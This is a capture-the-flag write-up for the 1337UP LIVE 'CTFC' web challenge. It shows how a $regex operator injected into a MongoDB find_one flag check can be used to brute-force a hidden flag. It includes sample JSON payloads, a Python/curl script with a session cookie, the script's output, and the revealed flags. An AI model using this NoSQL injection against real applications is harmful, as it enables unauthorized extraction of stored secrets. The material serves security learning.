1337UP LIVE CTF-Web
CTFC
Description
Author: Jopraveen
I’m excited to share my minimal CTF platform with you all,
take a look! btw it’s ImPAWSIBLE to solve all challenges 😺
Note: flag format is INTIGRITI{.*}
https://ctfc.ctf.intigriti.io
CTFC.zip
Solution
After I loged in and played around in the website. It seem like when I submited a flag, The website show me correct flag in alert box.
Let’s look at the source code which I got from the challenge. Maybe we get some more infomation.
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def createChalls():
db.challs.insert_one({"_id": "28c8edde3d61a0411511d3b1866f0636","challenge_name": "Crack It","category": "hash","challenge_description": "My friend sent me this random string `cc4d73605e19217bf2269a08d22d8ae2` can you identify what it is? , flag format: CTFC{<password>}","challenge_flag": "CTFC{cryptocat}","points": "500","released": "True"})
db.challs.insert_one({"_id": "665f644e43731ff9db3d341da5c827e1","challenge_name": "MeoW sixty IV","category": "crypto","challenge_description": "hello everyoneeeeeeeee Q1RGQ3tuMHdfZzBfNF90aDNfcjM0TF9mbDRHfQ==, oops sorry my cat ran into my keyboard, and typed these random characters","challenge_flag": "CTFC{n0w_g0_4_th3_r34L_fl4G}","points": "1000","released": "True"})
db.challs.insert_one({"_id": "38026ed22fc1a91d92b5d2ef93540f20","challenge_name": "ImPAWSIBLE","category": "web","challenge_description": "well, this challenge is not fully created yet, but we have the flag for it","challenge_flag": os.environ['CHALL_FLAG'],"points": "1500","released": "False"})
There is the third challenge that hide from us. and there is a comment in app.py said # wait untill mongodb start then create the challs in db, This is mongodb and they use find_one() function to check the flag in the database.
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chall_details = db.challs.find_one(
{
"_id": md5(md5(str(_id).encode('utf-8')).hexdigest().encode('utf-8')).hexdigest(),
"challenge_flag":submitted_flag
}
)
if chall_details == None:
return "wrong flag!"
else:
return "correct flag!"
After I searched info about mongodb and find_one() function. We can inject $regex query operator in https request.
The idea is brute force characters in the third challenge (_id=3) until it is the right character in the flag. If we get correct flag!, we will append the character to the payload and use that to continue brute forcing the next character until we get all of the flag characters.
Example:
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First payload: {"_id":"_id:3","challenge_flag":{"$regex":"INTIGRITI{<bruteforcing>.*}"}}
# 'h' get 'correct flag!' response so append 'h' in the payload: INTIGRITI{h<bruteforcing>.*}
Second payload: {"_id":"_id:3","challenge_flag":{"$regex":"INTIGRITI{h<bruteforcing>.*}"}}
# '0' get 'correct flag!' response so append '0' in the payload: INTIGRITI{h0<bruteforcing>.*}
# And so on until we get '}' charecter.
We know the idea, The Next step is to make a script to do the stuff for us.
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import subprocess
testcase = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}"
data = '{"_id":"_id:3","challenge_flag":{"$regex": ".*"}}'
flag = 'INTIGRITI{'
while True:
for i in testcase:
data = '{"_id":"_id:3","challenge_flag":{"$regex": "' + flag+i + '.*"}}'
result = subprocess.run(['curl','-s', '-X','POST','https://ctfc.ctf.intigriti.io/submit_flag','-b','session=eyJ1c2VyIjp7Il9pZCI6ImFjNDBiZDkzYzA2YTQ5ZWViOTVkOWIxZWRkNmIzYjRkIiwidXNlcm5hbWUiOiJ0ZXN0MTIzNCJ9fQ.ZVg2YQ.OwxwhpJzlPsuXH9uuTrLEPNZQQo', '-d', data, "-H" ,'Content-Type: application/json'], stdout=subprocess.PIPE)
if "correct" in result.stdout.decode(): flag = flag+i
print(flag)
if flag[-1] == '}': break
print('The Flag:',flag)
Result:
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$ python3 solve_ctfc.py
INTIGRITI{h
INTIGRITI{h0
INTIGRITI{h0w_
INTIGRITI{h0w_1
INTIGRITI{h0w_1s
INTIGRITI{h0w_1s_
INTIGRITI{h0w_1s_7
INTIGRITI{h0w_1s_7h4
INTIGRITI{h0w_1s_7h4t_
INTIGRITI{h0w_1s_7h4t_P
INTIGRITI{h0w_1s_7h4t_PAW
INTIGRITI{h0w_1s_7h4t_PAWS
INTIGRITI{h0w_1s_7h4t_PAWSI
INTIGRITI{h0w_1s_7h4t_PAWSIBL
INTIGRITI{h0w_1s_7h4t_PAWSIBLE}
The Flag: INTIGRITI{h0w_1s_7h4t_PAWSIBLE}
The Flag: INTIGRITI{h0w_1s_7h4t_PAWSIBLE}